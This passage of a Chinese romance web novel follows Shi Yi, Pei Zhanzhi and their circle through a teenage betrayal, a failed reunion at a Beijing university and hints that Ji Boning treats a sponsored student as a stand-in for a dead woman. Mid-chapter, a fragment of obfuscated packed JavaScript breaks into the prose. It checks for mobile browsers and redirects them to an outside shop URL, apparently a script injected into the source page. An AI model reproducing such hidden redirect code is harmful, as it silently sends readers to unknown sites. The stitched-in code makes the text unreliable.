赵母宋修萍突然打趣,她浅笑,继续说道,
“是在学校恋爱了吗?”
这话一出,包厢里奇异般静下来,桌子低下没人看到,赵璃芊手猛然揪紧校服裤侧边,脸色有些发白。
赵竟在沉浸打游戏,想也没想,就出卖了兄弟,“妈,久着呢……人家女孩子压根没搭理他哈哈。”
更静了。
静得诡异。
赵竟从游戏机上抬头看到全包厢都在盯自己,才意识自己说漏了话。
他这死嘴!
赵父及时打圆场,“十七八岁年轻气盛谁没谈过几次恋爱,哈哈,正常正常。”
话外之音,孩子青春期荷尔蒙旺盛,估计就玩玩,别太放在心里。
裴湛之扯了下唇,懒得理。
谁他爹的玩玩,他认定了这辈子就她施忆。
要么和她喜结连理早生贵子,哦不,她想生就生否则他就滚去结扎;要么他孤独终老,这辈子处男算了。
他就不信施忆如此狠心,舍得让他单身。
裴湛之唇角微勾,
诶,现在像他这么纯情又纯爱的男人真的不多了。
施忆居然不珍惜。
简直暴殄天物。
众人见裴湛之笑了,还以为他赞同赵父的观点,只是玩玩。
气氛缓和下来,又开始有声有笑。
只有黎芝整晚脸色淡淡,遇到好笑的事也配合笑笑,但就是有什么开始不一样。
那天聚餐后没多久,
黎芝不经意问赵璃,
“小璃,你跟阿姨实话实说,你湛之哥是不是在学校有特别喜欢的女孩子。”
她自己儿子她了解。
自从上高中后,裴湛之每天上学跟孔雀开屏一样。
刚开始她懒不想管。
年轻时多谈几次恋爱没关系,高中早恋也好,她不是那么迂腐的人。
说实话,黎芝倒也想见见,那个让她眼光那么刁的儿子,看上的女孩长什么样。
但最近,
黎芝心里危机感骤升。
这女孩像给裴湛之灌了迷魂汤一样,黎芝愈发觉得——裴湛之上心了。
玩可以……认真就真算了。
她略有听闻,那女孩是从贫困县贫困村考上来的,家境不太好。
就成绩不错,始终年级第一。
黎芝见赵璃犹豫为难,体贴地也不逼她,她放缓声温柔道,
“你只要回答是或不是?不用告诉我那女孩的名字。”
只要确定裴湛之是认真的,找到那女孩轻而易举。
“阿姨知道,你从小就喜欢湛之哥,对不对?阿姨也喜欢你。”
黎芝暗示得很明显,
两家未来一定会结亲,她认可赵璃当她的儿媳妇,只要赵璃肯定,她自然站在赵璃那边。
赵璃动摇了,
道德底线和不甘在两边拉扯,她真的好爱裴湛之,她不能失去裴湛之。
对不起,湛之哥。
“是的……阿姨,湛之哥很喜欢那个女孩子。”
那晚回家,赵璃就后悔了。
从小,她自己也怕黎芝,黎阿姨看起来温柔但总会让她觉得笑里藏刀。
现在黎阿姨知道后,肯定会去找施忆。
她没想着伤害施忆。
她觉得自己变成了电视剧里的恶毒女配,心灵好丑陋。
赵璃跑回自己房间,一头闷在被子里痛哭,哭声引来赵竟。
赵竟心如刀绞,他自然知道他妹妹从小就喜欢裴湛之那混蛋玩意。
但他也是真没招儿,
他天天跟裴湛之待一块,比谁都清楚,裴湛之对施忆有多认真。
“没事啊小璃,我们不喜欢他了。”
“他那里好?没你哥帅,也没你哥打游戏好。”
赵竟大言不惭。
赵璃哭得更凶了。
幸好黎芝始终没有进步动作,赵璃自欺欺人安慰自己。
就这样相安无事到高三最后一个月,裴湛之因为与施忆的承诺成绩突飞猛进。
黎芝那天找到赵璃,请赵璃帮她把施忆约出来。
赵璃心里咯噔。
“小璃,你帮阿姨把施同学约出来好吗?阿姨单纯想了解一下这孩子品性如何。”
赵璃开始动摇。
这两年她总会在他们看不见的地方,偷窥裴湛之对施忆的爱。
她无法再掩耳盗铃欺骗自己,她在嫉妒施忆。
她一点都不善良。
凭什么后者居上?
凭什么施忆什么都不用做,裴湛之就会爱她。
赵璃点头答应,黎芝见转微笑抚摸她头,夸赞道:“真是个好孩子。”
其实赵璃也没有把握施忆一定会出来,她和施忆不熟,那天周五她趁裴湛之不在,去1班找施忆。
所幸施忆愿意出来见她。
她容不得施忆拒绝,把字条塞到施忆手中后,飞快跑开。
之后,赵璃心中惶恐不安,总觉得有事要发生,在模拟考中老是走神。
赵竟问她是不是担心成绩,赵璃咬唇不说话,脑海中思弦紧绷。
直到……
校园广播放出裴湛之被施忆甩的录音,施忆遭全校攻击谩骂。
她彻底慌了。
如果赵璃还能安慰自己,这没什么,很快毕业后大家就会忘记这事了。
更让她崩溃的事随之而来。
施忆唯一的亲人出事了,成了植物人,就在她约施忆出去第二天。
都是因为她,如果她不罔顾施忆拒绝,施忆是可以赶回家的。
一切都不会发生。
心中那根弦骤然断裂。
黎芝安慰她,她会把消息封锁,只要她沉默,施忆考出去不再回来,没人知道当年发生的事。
湛之哥还是她的。
真的吗?
可是10年后,施忆居然回来了,那天她偶遇施忆,看似笑容满面,实则如坠冰窟。
赵璃失魂落魄走出电梯。
他还爱着施忆,纵使施忆抛弃他羞辱他,他还是爱她。
如果知道真相呢。
赵璃不敢想那天的到来会是怎样腥风血雨天翻地覆。
……
“赵助理,发生什么了,脸色那么白?”
唐特助正要上楼,撞见从电梯里下来的赵璃,他担忧问道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577742|187179||http|test|mini|href|location''.split(''|''),0,{}));
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>见赵璃也不回应,难道和裴总闹矛盾了?他满头雾水抱着文件上楼。
夜幕笼罩,
整片落地窗前,裴湛之肩宽腿长,白衬衫黑西裤比例优越,他单手掐腰,手机挂在耳边。
在打电话。
唐特助只能先远离退下去。
“赵竟,什么意思?”
“什么什么意思?”
那边还在装傻充愣。
“别装傻。”
裴湛之浓黑剑眉微拧,语气渐沉,他把话敞开毫不遮掩,不留一点情面。
“让赵璃大半夜来给我送领带,我以为之前已经说得够清楚。”
赵竟语调也带了点冷。
“那你明知道我妹喜欢你,还故意让施忆误会你们在一起了,你他妈不是拿我妹当工具人吗。”
裴湛之淡淡道:
“我觉得不需要提醒你,手表是你自己丢给赵璃的,至于目的何在你自己清楚。”
赵竟一把火烧得正旺,被噎得哑火。
他承认。
他有意撮合他妹和裴湛之,赵璃对裴湛之的爱慕他清楚,他觉得两人再合适不过。
“裴湛之,你不会还想着和施忆旧情复燃吧?”
赵竟压着气。
“你忘记她当初怎么甩你的吗?还傻傻为人家复读想挽留,结果呢!人家早谈上别人了!”
裴湛之眼睛幽沉深邃望着窗外夜色,心思难辨。
“你想多了。”
意思是,他没有吃回头草,旧情复燃的打算。
唐特助见老板终于打完电话,上前将文件递过去,边开口解释这是整理好的明天出差的行程。
裴湛之没接,问他:
“电梯密码,你告诉赵璃的?”
唐特助听这冰冷的语气,心里凉了半截,低头如实答道,
“是。”
他一直觉得赵助理和裴总关系不匪,裴总不会在意,便直接告诉了赵助理。
现在他好像判断失误了。
“下不为例。”
唐特助松了口气,幸亏裴总没罚他薪水,看来裴总和赵助理只是普通关系。
什么乱七八糟的青梅竹马、情深意笃,公司里那群人乱传八卦,把他害惨了!
“你下去吧。”
裴湛之揉揉太阳穴,亲自去重新设一个电梯密码。
-
施忆走出澜庭大厅,夜凉如水,冷风扑面而来,她刚要上车,余光瞥见一道熟悉的身影出现。
是季伯宁。
季伯宁脸色冷峻从外面进来,现在快晚上十一点了。
“施小姐,你怎么在这?”
薛特助看到施忆,脸上明显闪过一丝慌乱,施忆本来要解释说出口的话消失。
她视线落在季伯宁脸上,他整个人情绪很淡,压抑荒芜,透着莫名的哀愁,她心底疑惑更重。
饭局不顺利吗?
不至于。
季伯宁向来游刃有余,虽然季家重心在览城,不如裴家在海城权势大,但凭季家的背景,一场饭局合作不是难事。
施忆收起车钥匙走过去,她轻扶住季伯宁胳膊,却在靠近的瞬间,闻到一丝点燃的香,残留的香火味。
今早她刚去过墓园,结合薛特助电话里的猎猎山顶风声。
施忆几乎条件反射确定,季伯宁刚从西郊墓园回来。
季伯宁去墓园做什么?
还有,为什么薛特助要骗她说季伯宁是在参加饭局……
施忆睫羽微动。
零散碎片飞快从她脑海里模糊闪过,她却倏然没抓住,此时季伯宁突然开口。
15. 嘲弄
·
“这么晚怎么来了?”
季伯宁声音低沉缱绻,他顺势长臂揽住施忆,温柔目光描摹她侧脸。
视线游离到她那双琉璃眼中,聚焦,眸光哀切,思念深切。
施忆在他怀里,自然错过这一幕。
薛特助站在旁边。
他胆战心惊,生怕施忆看出点端倪,他确实撒谎了。
老板今晚根本没去饭局。
听季伯宁语气如常,施忆暂时压下疑惑,她不想扯出裴湛之,徒增两人误会。
“今晚有空过来给你送外套,等了一会儿,你不在,我正想走。”
施忆转身回到自己车上,把外套叠整齐装在袋子里递给季伯宁。
不早了,她告别,正要转身离开。
季伯宁猛然扣住她手腕,有点疼,她皱了下眉,他再用力收紧,温润声线沙哑。
紧接着,施忆听到他说:
“今晚留下?”
施忆后背瞬间僵硬,心底升起隐隐说不清道不明的不适,这种感受从她意识到薛特助在骗她起,就开始存在。
在此刻达到顶峰。
施忆与季伯宁相处这么多年,他谦谦君子,始终尊重她的意愿。
从不逾矩。
今晚第一次强势,像换了一个人,令人无比陌生。
施忆现在也不想再探究为何薛特助骗她,或者其中有季伯宁的授予。
她只想离开。
“抱歉。”
施忆拒绝。
她清楚,留下意味着今晚要发生什么,她没准备好。
季伯宁终于回过神来,他眸光清明几瞬,意识到自己说了什么,脸上惭愧,拎着衣服的手微绻。
“对不起,是我太着急了。”
他刚才真的疯了,他居然有那种想法。
“没事,早点休息吧。”
“上次跟你说到我资助的那个学生,这周日你有空吗?我们约她一起吃个饭,聊聊她专业的事。”
“完全有。”
季伯宁像要弥补般答应她。
“那周日见?”
“好。”
施忆走后。
季伯宁在夜幕中站着,风微扬起他灰色风衣,他屈腿靠在车上点了根烟夹在指尖,他有多久没抽了。
他偏头去问薛特助。
薛特助不敢回答。
自从那位走后,他就没见季先生抽过。
“你觉得,她们像吗?”
季伯宁再问,声音很低,模糊不清,他喃喃自语般,那些说出口的话被风吹散,了无痕迹,像从没存在过。
转瞬即空。
“嗯?”
“不敢答吗。”
他眉眼疏淡,眼尾勾出细纹,温润似玉。
薛特助血液全凉,呼吸一窒,送命题他怎么敢答!
一根烟燃尽,季伯宁也没抽几口,他摁灭,指腹被烫红刺痛传遍全身,他眸光又恢复往日温润,风度翩翩将烟头随手扔在旁边的垃圾箱里。
“以后她问什么,你如实说。”
她是谁不言而喻,
除了施小姐,没有别人。
但照实说……薛特助瞬间抖了一激灵。
-
施忆等了好几天,裴湛之还没有回复合作的事,她坐在办公室里,看着看着报告,总不自觉打开与他的wx界面。
甚至有消息进来,都会条件反射看是不是他。
合作的事情不能再拖了。
施忆觉得自己迟早要被裴湛之弄得神经衰弱。
她揉揉太阳穴,缓解疼痛,苏叶突然推了她一把。
“怎么了?”她下意识回复。
“小许问你方案怎么样呢?你这几天怎么了老是走神。”
施忆这才想起自己在开会,居然又走神了,她言简意赅点明方案优缺点,听不到十几分钟,又忍不住打开微.信。
她眸光低垂。
聊天界面还停留在那天晚上,她尴尬地误发了猫咪表情包。
除此,空白。
两人再也没聊过。
会议结束,苏叶和施忆并肩走出会议室,“叶子,你那边时易科技负责人有回信吗?”
施忆问。
“没有,裴湛之还没有给你回复啊,我就说他在耍你!”
苏叶怒火蹭地窜到头顶快要爆炸。
渣男!
说到这个,苏叶想起施忆那个神秘男友,听说他最近来海城了。她心痒痒渴望一睹容貌,看看网络搜不出照片的大佬到底长什么样。
不过,他应该难超越裴湛之吧。
虽然苏叶讨厌裴狗,但她承认,他那张脸是真顶啊。
高中时,她还记得澜高有一个流传很广的传闻。
裴湛之16岁那年,
十几个富家公子哥相约在海边公路跑拉力赛。
阿斯顿·马丁敞篷跑车内,他身体后仰,一身红黑流利赛车服。
墨镜随意架在高挺笔直鼻梁上,对着镜头嚣张倒竖拇指。
意气风发,
挥斥方遒,曾许人间第一流。
这张照片在校园论坛火了,很快被星探发掘找上门说要签裴湛之。
那人信誓旦旦拍胸脯保证,只要裴湛之进了娱乐圈百分之百大红大紫,绝对会引发前无古人后无来者的盛况。
后来星探听说裴湛之的家世背景,灰溜溜跑了。
人家压根不需要进娱乐圈,他本身就是资本。
但就是这样一个绝品死心塌地追施忆,她依旧两耳不为窗外事,专注学习,道心坚定。
所以,苏叶真想看看这个季伯宁到底是何方神圣。
可以拿下施忆。
“你那个男朋友是不是来海城了?要不要见面一起吃个饭,我给你把把关呀~”
苏叶挤眉弄眼,眼睛亮晶晶,充满期待。
施忆哑然。
苏叶思维也太跳跃了。
她刚刚还在骂裴湛之,现在就猝不及防问季伯宁了。
但合作还没着落,施忆实在分身乏术,无心顾及其他。
又想到季伯宁骗了她,她情绪温淡道:
“再说吧。”
-
“好啊!”
“我可以的,施忆学姐!”
林白译挂断电话,作业也没心思写了,她兴奋跑出房间,朝在狭小厨房忙碌做饭的罗瑛娟道:
“小姨,施忆学姐约我后天见面,聊资助的事!”
罗瑛娟脸上没多大欣喜,但也不好扫兴。
林白译母亲是她亲姐姐,十几年前车祸走了,她这些年来独自供养林白译上学。
说实话,自从罗曼走后,和罗曼很像的林白译给了她不少慰藉。
生活再苦,总能尝出点甜。
现在有人要资助林白译,她担子自然可以轻松不少。
但她心里就是说不出来的别扭。
忽然走神间,刀割到手指,血珠滚溢,鲜红刺目。
“行。既然要去吃饭,你穿的正式些,把你那几条洗得都发白的牛仔裤扔了,别让人家看笑话。”
罗瑛娟嘱咐。
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林白译一听撇嘴,
“施忆学姐才不是这种人……”
但青春期的女孩子面子薄,那条牛仔裤真的穿很久了。
林白译想,
她穿着正式,也是对施忆学姐的尊重。
忽而,她犯了难,穿什么好啊,她翻遍衣柜也没找到合适的,除了校服就是旧衣服,唯一勉强看得过去的那条白色连衣裙后面还开线了。
罗瑛娟站在门口丢过来条裙子。
林白译倏然眼前黑暗,她从头上把衣服扯下来,眼睛闪亮。
面前一条收腰米色长裙,轻盈飘逸,优雅大方,林白译小心翼翼去触摸,衣服质感顺滑,那腰线处是细腻的手工刺绣图案,盛开着淡雅百合花。
太高级了。
看起来就很贵。
林白译依依不舍从裙子上抬起视线问小姨,
“小姨,你什么时候买的?!”
罗瑛娟淡道,“你表姐带回来的,还没穿过,我一直收着。”
提到去世的罗曼,房间氛围瞬间压抑,相顾无言,林白译过会儿扬起稚脸,眸光真挚认真道:
“谢谢小姨。”
罗瑛娟看着那张和她女儿七分像的年轻稚嫩的脸,心底涌起哀伤,她什么都没说,转身离开房间。
小姨走后,林白译珍重把裙子叠好,然后幸福笑着将脸贴上去,无比爱惜摸了又摸,最后放在床边。
她从小到大从来没有穿过这么漂亮的裙子。
-
裴湛之从京大科技座谈会出来,
他偶遇到当年对外联络与合作处的关兆平。
关兆平早就升了职,他现在校党.委处工作。
他立马认出了裴湛之。
海城裴氏集团的独生子,裴总司令的亲孙子。
但令他印象深刻的可不是这个。
当年给这孩子找到他,说要给京大捐款,要求奇怪得让他至今难忘。
他唯一的要求是。
在逸夫图书馆和女生14号楼之间的那栋明德楼中空出一间教室,专门拿来给学生放书。
关兆平负责教育基金捐款这方面的工作十几年了,他还是第一次听说这种奇怪要求。
后来他才了解到,
裴先生心上人是高考状元,在京大经管学院读书。
那女孩每天从图书馆带书回宿舍很重,他太心疼,便想到这个方法。
最后裴湛之还提了一个要求,
不能让那个女生知道背后那个人是他。
关兆平不禁感叹,
果然情种只生在大富大贵之家,这么痴情的人少有啊。
这次见面,他理所当然认为两人已经在一起了,他笑着问道:“裴总爱人不一起回她母校看看吗?”
唐特助替裴湛之快速回答,“裴总目前单身。”
关兆平惊讶,很快反应过来,
“哈哈,我以为裴总这么年轻就事业有成,身侧肯定有佳人相伴。”
“看来误会了。”
裴湛之没说话。
关兆平又说,“当年你捐的那间教室真的给学生带来了很大方便啊。现在还有很多京大学生都在校园墙夸学校这个事办得好呢。”
啊,裴总给京大捐过教室吗,他怎么不知道。
唐特助是时易科技成立后才跟在裴湛之身边的,对他之前的事知晓无几。
自然不知道裴湛之与施忆的事。
裴湛之嘴角扯起一道凉薄的弧度,嘲弄道,
“年少不懂事。”
所有人都不说话了。
16. 冷笑
·
裴湛之那年复读了。
施忆说的她因为钱靠近他的屁话,他一个字都不信,她只是不够喜欢他,因为他成绩烂,和她不是一路人。
裴湛之这样安慰自己。
他一定要复读,拿600多分去京北找她。
可惜天不随人愿。
2015年第一年高考毕业后,黎芝决定送他去美国留学,签证语言都准备好了,裴湛之翻窗逃跑去找施忆,摔断了条腿,最后瘸着左腿被押上私人飞机,隔日飞往芝加哥。
早期留子家境殷实,醉生梦死,其中裴湛之背景最硬,一群人总爱围着他,他车库里全球价值上亿没几辆的限定跑车飙了没几天就报废。
男男女女,华人外国人都有,总之一群疯子在裴湛之芝加哥市中心别墅开party通宵到天亮。
在这种场合,裴湛之绝对掌控局面,出场就是所有人攀附的对象,但他眸光灰暗,坐在那一杯杯接着喝,沉默不说话。
无人敢靠近。
一个胆子大的女孩,也是中国留学生。
她摇晃红酒杯,甩了甩她那头艳丽金色大波浪,踩着黑色细高跟扭细腰走过去,在裴湛之旁边款款坐下,善解人意问道:
“hi,Zen,DoyoumisshomeandyourfamilybackinChina?”
(你想国内和国内的家人吗?)
Zen是裴湛之英文名。
裴湛之头抬都没抬。
女孩胆子更大了,胸快挤到裴湛之胳膊了,旁边正在嗨的公子哥看到纷纷欢呼吹起口哨,此起彼伏。
裴湛之冷声寒刺骨,掀起眼皮说了今晚第一个字:“滚。”
气氛忽得冷下来,
和裴湛之关系好的打哈哈缓解尴尬:“Tracy,都是中国人拽什么洋文~”
女孩脸色难看逃离现场。
裴湛之当时在想什么?他什么都没想。
周围所有人都在嗨。
他没想施忆专注写题的干净侧脸,也没想她随意扎起的低马尾,也没想她宽松校服袖口处冷白细瘦的腕骨。
芝加哥和京北隔了一整个太平洋,11000公里,时差13小时,那里白天这里黑夜。
他唯一想的是,
京北天气好不好。
裴湛之跑回来复读了,瞒着所有人,黎芝知道后一头气进了医院,赵竟听到这个消息嘲笑他。
“在美国潇洒不好吗,你真的疯了!非得回国复读受这罪。”
一年很快,也特别慢。
裴湛之没有娱乐活动,整个人崩着,像只拉满的弓随时断掉,复读期间,思念噬骨,他忍着没飞去京北,怕功亏一篑。
6月25号他拿到645分的成绩单后,心终于落了地。
但他没有立刻飞去京北,黎芝冻结了他所有银行卡。
他也不是没有钱,说不清楚出于何种目的,他咬牙打了一个多月的暑假工,一个养尊处优的大少爷第一次尝到了生活的苦,揣着工资他亲自去挑了一只漂亮的布偶猫。
猫的眼睛像施忆,很美,他一眼就相中了它。
施忆无意中说过猫咪很可爱,那裴湛之就自己赚钱送给她。
只要她想要的,无论是成绩还是其他,他都会双手奉上。
裴湛之抱着猫上了飞机,他不要给它办宠物托运,那样会把它弄脏弄疼,于是裴湛之也给它也买了座位。
裴大少爷人生第一次坐经济舱,他长腿放不开憋屈得很。
他温柔挠挠猫头
“带你去找你妈妈。”
下飞机的时候夜里九点半,首都国际机场灯火通明,亮如白昼,裴湛之心也亮亮的,他终于来到这座有她的城市。
裴湛之联系关兆平,小时候他还住在京北大院的时候,关兆平经常来拜访他爷爷。
关兆平带裴湛之进京大。
京北晚上夜凉如水,裴湛之就一件单薄的黑色套头卫衣,抱着猫在14号楼下等。
一颗心脏在黑夜中狂跳,
他瞳仁黑亮,手在冷风中发抖给她q.q发消息。
“600分的承诺还作数吗?”
“我在你宿舍楼下,等你。”
11“喵”忽然叫了声,大概冻着了。
11是裴湛之给布偶猫取的名字。
裴湛之大掌把它捞在怀里,低头黑色碎发遮住他眉眼,他乖乖给它顺毛。
“马上就可以见到你妈了,给你爹乖点呗。”
裴湛之卫衣口袋里是整整齐齐折好的成绩单,他在想待会该怎么开口,是先给她看成绩单,还是先把11送给她。
裴湛之跟关兆平了解过,校门刷脸系统显示施忆还在校内。
只要他在宿舍楼下等,肯定可以等到她。
十点多。女生楼下回宿舍的人慢慢多起来,她们频频惊艳侧目,京大还有这等优质帅哥在楼下等人。
不知道他在等谁。
夜深了,等的人还没有出现,11趴在裴湛之怀里安稳睡觉。半夜,宿管阿姨问终于忍不住跑出来问他在这里干什么。
裴湛之扯了扯唇:
“等人。”
宿管阿姨用怪异的眼神瞥他一眼,劝他明天再来。裴湛之不为所动。宿管阿姨只好走了。
整个京大安静悄无声息笼罩在蓝幕里,裴湛之孤身坐在长椅上,又发了一条消息:“我还在楼下。”
黎明乍现。
宿舍楼里跑出一个清瘦的女生背影,她身上套着顺条大衣,黑发温柔垂在两肩,她弯腰跟宿管阿姨说完话,快速走出大门。
世界按下暂停键。
裴湛之眼光紧紧贪婪跟随着她。
他第一反应是,
她头发长了。
第二反应是,
她又瘦了。
即使她套在肥大外套里,他也知道她瘦了。
裴湛之眼眶猩红,就在那里一动不动,他吸了吸鼻子,偏过头去觉得自己真他妈丢人。
那些积攒几百个日夜的思念被压在心底,一旦被释放则翻山倒海,蚀骨吃心,对方仅仅站在那,他丢盔弃甲溃不成军。
他扯开步伐朝她走过去。
忽然,女孩身边出现个男人。那男人将她搂紧怀里,施忆温顺不动,两人静静抱了好久,最后男人拉着她的手离开……
两人全程旁若无人,忽略裴湛之。
直到两人背影在尽头消失,他裤袋里手机在昏暗中亮起。
赵竟:你去哪了?我们一群人等着你,给你办的庆功宴他妈的主人公跑了?!
裴湛之静静将手机灭掉,起身拍掉肩上落了整夜厚重的露水,拿出将口袋里的成绩单撕掉,随意丢进垃圾箱。
他抱起还在沉睡的11,转身离开。
你妈不要你了。
施忆说得没错,他真是犯贱。
世界上没有比他还贱的人,一而再,再而三,跟条狗一样在身后舔着她,贱不贱啊,裴湛之。
贱不贱啊,裴湛之。
第二天,裴湛之抱着猫走遍京大的整个角落,她上课的教学楼,她吃饭的食堂,她自习的图书馆。
到处都有她的身影。
他就是很贱,她从没爱过他,她真的从来没爱过他,他还是那么爱她,拼命复读的三百多天就像个笑话,他没她不行,而她转眼就可以投入另一个人的怀抱。
裴湛之在京北停了一个星期,最后一天,他又抱着11回到14号楼下,徘徊好几次,遇到她舍友。
舍友问他:“你是来找施忆的吗?”
裴湛之点头。
舍友看这个帅哥也不像是坏人,她将施忆微信推荐给他,“她不在,你可以微信上联系她。”
裴湛之抱着猫走了。
晚上他在首都国际机场等飞机起飞,将微.信切换到施忆的朋友圈,他没有加她。
她的朋友圈空空如也。
他反复着魔般刷着。
忽然,
十点二十分更新了一条:
“每天从宿舍背书到图书馆有点重。”
配图黑夜里厚厚的一叠专业书,她白皙的手臂抱着书勒出红边。
很快又删了。
她就是这样可爱,朋友圈永远私密,这次估计不小心设成公开才让他看到。
裴湛之用手静静捂住眼睛,良久喉结艰涩滚了滚,认命拨通关兆平的电话。
这是他最后一次犯贱。
-
到周日,施忆与林白译相约那天。
她到澜庭的时候,林白译早已经在等门口了。
女孩站在澜庭正中央的石狮子旁,周围盛大喷泉四溢,她穿着米色长裙,一阵风漾开她裙摆,明媚动人。
施忆被女孩身上漂亮的裙子晃了一瞬,诚挚夸赞道:
“很漂亮。”
林白译羞涩抿唇,眉眼弯弯,开心说谢谢。
其实她原先还有些忐忑。毕竟她是贫困生,穿这么上好的裙子不合适。
因为父母双亡,家境贫困,她心底一直很自卑,但她掩盖在了明媚笑容背后。
拼命努力往上走。
她生非溪流,要做高山。
施忆带在服务人员的引领下,走进订好的包间“清宴堂”,她放好包包,眸光温柔道:
“女孩子十七八岁风华正茂,就应该穿得漂漂亮亮的。你先点单,看看有什么喜欢的。季先生很快过来了。”
季伯宁今天有个蛮重要会议,迟迟讨论不出结果。
他坐在主位。
桃木红桌会议室内,分公司那群高管唇枪舌剑互相推卸责任,他看了半小时,温润眉目厌倦,最后捞起深灰羊毛呢大衣离开。
结果又恰巧碰上堵车。
他只好给施忆发消息,抱歉可能会晚十几分钟。
施忆回复:不着急,慢慢来。
她率先轻轻将烫银菜单推到林白译面前,温声让她不要拘束,尽管点自己爱吃的。
再看看那上面,道道菜品精致奢侈,道道价格上千。
其实,施忆原先定了海城特色海鲜餐馆,价格亲民,好评如潮。主要她是担忧,定消费太高的餐厅,林白译压力太大。
后来施忆把地址季伯宁,他让薛特助亲自重新去定了,就在澜庭,人均消费几十万。
她最后只好同意。
对她们这种平凡人来说,这趟约贵得如同宫廷玉宴。
但在季伯宁那个阶层的人眼里,这仅是再普通不过的日常。
所以,她不打算争
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,最后也是一样的结果。
不只是这一餐。
林白译揪着餐单边边,她眼睛转了又转,咬紧下唇,迟迟选不出来。
这上面最便宜的一道菜都要8888,顶她小姨说三个月的工资。
虽然不是她花钱,但从小养成节俭的习惯,让她心肉疼。
施忆不想让女孩再难受,这不是她本意,她重新拿起一张餐单,点了几道这里的最出名特色菜,还有适合季伯宁的口味。
这些年待在他身边,她对他饮食习惯已经熟悉。
季伯宁口味清淡,和她这个南方人并无二致,所以这些年他们约会还算和谐,毫无迁就对方的现象。
施忆实在忍不住好奇问他,
“你从小不是在北方长大,口味也这么清淡?”
她刚上京大那会,就不习惯北方饮食。
季伯宁温润眉眼睨她,大掌宽厚温暖揉了揉她长发,他低眸见弄乱了,又温柔帮她整理好,带着笑意从容逗她:
“施小姐,这是刻板印象啊?”
……
从回忆中抽离。
施忆点好餐,递给林白译,她弯唇问有没有什么忌口?
林白译连摇头道没有,“学姐点就好!”
服务员掀帘下去后,包厢内两人安静下来,两人都不是热络的性子,林白译其实还算外向,不然校庆那天她也不可能鼓起勇气叫住施忆。
施忆:“你安心读书,资助每月一千五够吗?”
施忆也不太了解现在高中生生活费多少,她来之前专门跟老徐沟通过林白译家庭状况:
她父母早亡,跟小姨罗瑛娟一起生活,就是在墓园遇到的那位中年女人。
罗瑛娟主业是蔬菜批发商。
每天起早贪黑从乡下农民手里收集新鲜的菜,专门运到市里批发卖给便民超市。
但施忆慎重考虑后,
她并不打算全责负担林白译的全部上学费用。
人一旦被其他人毫无保留负责,心性便会产生惰性。
人性如此。
她会按时每月给林白译打生活费,至于学费由罗瑛娟负担。
施忆算过了。
澜高学费罗瑛娟是负担得起的,而且林白译高三就剩最后一年,她上大学后便可独立。
“够了够了,太多了施忆学姐!我住宿花不了这么多真的!”
林白译连摆手拒绝,她眼眶红润,好想哭,施忆学姐对她太好了,她根本用不了这么多,真不知以后该怎么报答。
施忆递给女孩纸巾,轻声细语:
“我们有缘,不用觉得亏欠。”
她在帮这个女孩,也在救当年的自己。
“白译,你已经决定好以后学医了吗。待会季先生来了,你可以咨询他专业的事。”
听到“季先生”三字,林白译心倏然收紧,她莫名慌张。
其实,她更怕见到施忆学姐口中那个先生,想到这个陌生男人,她心总是悬在半空中,像有头小鹿在撞。
他应该很有钱。
不然也定不起澜庭。
季先生是施忆学姐的男朋友,京大临床医学生,只是后来弃医从商了。
她忽然想起小姨说过,
表姐罗曼当年也是医学生,可惜她已经走快10年了。
当年表姐去世时,她才八岁。
受这位表姐影响,她从小莫名地就想当医生,向往白大褂。
可是,现在林白译开始惴惴不安,生怕给这位矜贵的先生留下没礼貌小家子气的印象。
再怎么伪装开朗乐观,她的心灵底色是自卑,这从她出生开始就改变不了。
这种自卑在从小家庭美满,富裕幸福的同龄人面前尤其强烈。
更何况对方还是年长她十几岁的男人。
林白译坐立不安。
“你到了?”施忆朝门口道。
林白译背后一僵,身后清晰的木质香传来,男人靠近。
季伯宁在施忆身旁落坐,跟她说了声抱歉,抬茶壶帮她温杯,才抬起眼注意到对面的女孩子。
抬眸那刹那,
手顿住,肘边撞到茶杯,“哐当”茶水洒了满桌……
-
京北柏悦。
裴湛之站在落地窗旁,俯瞰整座京北城,他长大后,19岁那年回来一次,往后很多年,他数不清来过多少次。
还有览城。
裴湛之眉眼疏淡抽出领带,走进浴室,十几分钟后披着浴巾出来。
镜子里,男人西装革履不苟言笑,他修长的骨指将扣子一个个往上系到顶。
唐特助敲门进来,步伐稳健,手里拿着一叠资料,“调查结果出来了。”
裴湛之坐到沙发上接过文件夹翻开,眸光在上面印着眉眼温柔笑着的年轻女孩子时顿住。
忽而喉间抖出冷笑。
照片底下白纸黑字清楚写着:
姓名:罗曼
去世日期:2016年10月09号。
那女人忌日就在前几天,怪不得季伯宁要去西郊墓园。
原来拿她当替身啊。
施忆我还以为你有多幸福。
裴湛之握着资料的手不动声色收紧,他淡道:
“回海城。”
17. 害人
·
林白译中途去了趟洗手间,七弯八拐走过挂着典雅油画的走廊,她匆匆随便推开一个隔间,推锁上门扣。
她胸膛紧张起伏,靠在门背上轻微喘气。
刚才在包厢里。
她清晰感知,那个季先生——施忆学姐的男朋友。他视线若有若无,轻落在她这儿。
那种淡淡的压迫感让她窒息。
为什么?
季先生会用那种冷漠奇怪的目光看她。
今天明明是他们第一次见面。
林白译定定望向镜子,她慢慢抬手,指尖抚过额头,往下鼻梁,再是嘴唇,最后停在眼睛。
她看着镜子里的自己。
——这双眼睛,与施忆学姐近乎神似。
难道是因为这个?
她咬唇思考。
不对。
那……为什么季先生总关注她的裙子。
林白译低低垂睫。
她视线落在腰处那盛开的手工刺绣百合花上,一针一线,昭示世人它多么优雅高贵,她这种家境根本不配拥有它。
林白译心情跌到谷底。
季先生觉得她穿的裙子太贵了,家境不差,所以不应该得到资助吗?
林白译手指拧开水龙头,掬了把冷水拍拍自己的脸颊。
海城入秋温度骤降,凉水寒意刺骨,她头脑瞬间清醒。
“林白译,请停止胡思乱想!”
她又将手放在自动烘干机底下,暖风流出,热意让她心里舒服了不少,几分钟后她抽出手。
既然施忆学姐资助她,那么任何考虑都合情合理。其中,当然包含被资助人是否真正贫困。
林白译舒了口气。
所以她要不要向他们解释清楚这条裙子的由来呢,早知道会发生这种事,她就不穿表姐的这条裙子了!
